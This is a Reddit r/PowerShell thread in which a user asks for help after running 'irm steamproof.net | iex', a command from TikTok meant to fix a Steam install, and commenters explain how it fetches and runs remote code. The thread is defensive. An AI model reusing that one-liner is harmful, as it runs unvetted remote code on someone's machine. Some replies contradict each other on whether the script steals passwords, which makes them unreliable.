r/PowerShell • u/Icy-Representative85 • Aug 17 '26
Question Help I ran a weird command
Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???
25
u/robstrosity Aug 17 '26
You need to wipe and rebuild your pc
21
u/exoclipse Aug 17 '26
oh NOOOOOOOOOOOOOOOOOO dude ok I'll break it down, because this was deliberately obfuscated with aliases to make it harder for people who don't speak powershell to parse.
IRM = Invoke-RestMethod. A REST method is sending network traffic to or from a web resource, like a URL. IEX = Invoke-Expression. Take some executable code and execute it.
The pipe ("|") character takes the output of a command and feeds it as input to the next command.
What likely happened is Invoke-RestMethod <that URL> does a GET to that URL, which returns some command to be executed silently (probably installing malware), then feeds that command via the pipe to Invoke-Expression.
I would 100% not fuck around with it. Nuking the machine and rebuilding is the only way I'd sleep well at night after that.
13
u/hyperlobster Aug 17 '26
You got pwnt, my sweet summer child.
irmis short forInvoke-RestMethodandsteamproof.netis just some website on the internet.iexis short forInvoke-Expression.So
irmwent tosteamproof.net, got whatever it got from the website, and then piped it toInvoke-Expressionto run it as PowerShell code, with whatever privileges your PowerShell session had.Backup your shit, change all your passwords, reformat your PC, and reinstall Windows.
And don’t run random commands off fucking TikTok.
10
u/_l33ter_ Aug 17 '26
across a tiktok... --> I basically stopped reading from here.
I would recommend you install your system fresh and newly.
3
u/igrewupwithinternet Aug 17 '26 edited Aug 17 '26
It definitely looks shady. I can't find any reference to wtsapi32.dll for legitimate steam installs, only a couple of posts about a Halo MCC mod that uses a (probably modified) copy of the dll for local split screen play. A legitimate wtsapi32.dll is a component of Remote Desktop Services in Windows, and should only reside in C:\Windows\System32. It being a component of a remote access API is a huge red flag in my opinion.
If the legitimate file were corrupt and the cause of the issues you had, the fix is absolutely not to download a copy from a third party and install it in a program folder to bypass the Microsoft-provided copy of the library.
Windows' built-in
dism(Deployment Image Servicing and Management) orsfc(System File Checker) tools would usually detect issues with these files and repair them accordingly. Using these tools would be the recommended first-line fix from most techies if wtsapi32.dll was indeed the cause of whatever error you were getting trying to install your game.My local steam install has no such dll, and in fact, has *none* of the files the script (as pasted by u/Doublet4pp) attempts to delete or install.
If you already ran steam with this third party dll, just deleting the dll/steam directory is not enough. If it is malicious, this is just the entry point and could have allowed full remote access to your machine. Unless someone decompiles the dll downloaded from steamproof and can verify it's not malicious, or at the very least compares and verifies a match for the file hash with a legitimate copy of the dll, I would consider the system compromised and perform a full clean OS install, backing up as little as possible to avoid contaminating the new install with anything that may have been modified by the script you ran, or by a remote attacker if indeed you were pwned.
The safest option is to consider all files to be lost. Moving anything from this PC to another risks also moving any malware.
To clarify, I'm not saying your computer is definitely compromised, but without a security expert to verify as such, I agree with the majority here and would definitely err on the side of caution and wipe the lot.
EDIT: The script OP ran is nothing more than a patching tool to "fix" SteamTools, a piracy-focused toolkit for bypassing Steam DRM. It's basically the old "Spacewar" trick (IYKYK) for tricking Steam into thinking the game you're running is licensed. I'm not sure I buy the narrative that you were downloading a game you own through normal means, this smells more like a steamcmd depot download failure because you failed the license check.
1
u/Doublet4pp Aug 17 '26
Here's the script it ran:
Modifying your Steam install seems shady, but this script doesn't seem malicious in it's construction.
It seems you can re-run it to uninstall it if anything is left over after uninstalling Steam.
Also, you can move games to a different drive without hacking your Steam.
1
u/Terrorfarker Aug 17 '26
Personally I think the chances are very low that your CAD etc files were touched and if this were me, and the files were important, I would back them up, rebuild PC, fully update PC, and then scan files.
There's always a risk though.
1
u/CookinTendies5864 Aug 17 '26
I recommend turning the computer completely off this is a credential grabber. The DLL that is pulled from the website grabs pretty much everything and sends it via windows API. It also mutes and bypasses windows defender. Changing passwords will just send those credentials back to the attacker. Enable 2FA on every online account on a different computer.
1
u/BlackV Aug 17 '26 edited Aug 17 '26
it stole your steam passwords and probably installed malware
wipe and start again as always recommended by multiple posts here
p.s. I dont actually know what steamproof.net does, but legitimate steam things are very unlikely to do this
1
u/spacezoro Aug 17 '26
https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
GG, time to wipe and reimage.
0
u/Icy-Representative85 Aug 17 '26
How can I reinstall windows, do i need to just go to settings and reset to factory settings? Or do i need to mess with bios or download windows again
1
u/Ok_Leading7097 Aug 17 '26
If you are that worried you could wipe your storage and reinstall os (windows I assume)
1
u/CookinTendies5864 Aug 17 '26 edited Sep 01 '26
Steamproof.net is a steam utility your fine don’t listen to everyone’s freak out - disregard it is a password grabber
I looked at the website and doesn’t seem like anything crazy. Steamproof.net seems to be a tool that validates steam data by parsing through it.
But this is a learning opportunity:
Don’t download things and automatically install them if you don’t know what they are.
Do not just run a one liner you find on TikTok or YouTube understand what it is that you are running.
If you need further reassurance you can check your connections using netstat and see if you have any hanging connections related to the install.
Normal traffic will have http and https
If you see port 22 in netstat or 23 it might be something to look into as these ports are highly susceptible to Remote access tools (RAT)
If you need help with any of this DM me
-1
u/Icy-Representative85 Aug 17 '26
Any safeway tip to do it without compromising any existing files??
0
u/pertymoose Aug 17 '26
It removes some dll files and config files then updates some steamproof thing https://www.virustotal.com/gui/url/6f955872c44f57c43e5b032f801f679b83bd565d6cd7e5f71ce8226adfe188de
It doesn't look like a big deal but yeah. Think next time.
0
u/genuineshock Aug 17 '26
Irm = "Invoke-RestMethod"
Iex = "Invoke-Expression"
Basically, irm pulls some mystery package from steamproofDOTnet and then runs it. You literally ran malware on yourself bro.
0
u/suppervisoka Aug 17 '26
Don’t wipe your PC, I will check the script on a test machine in a few hours.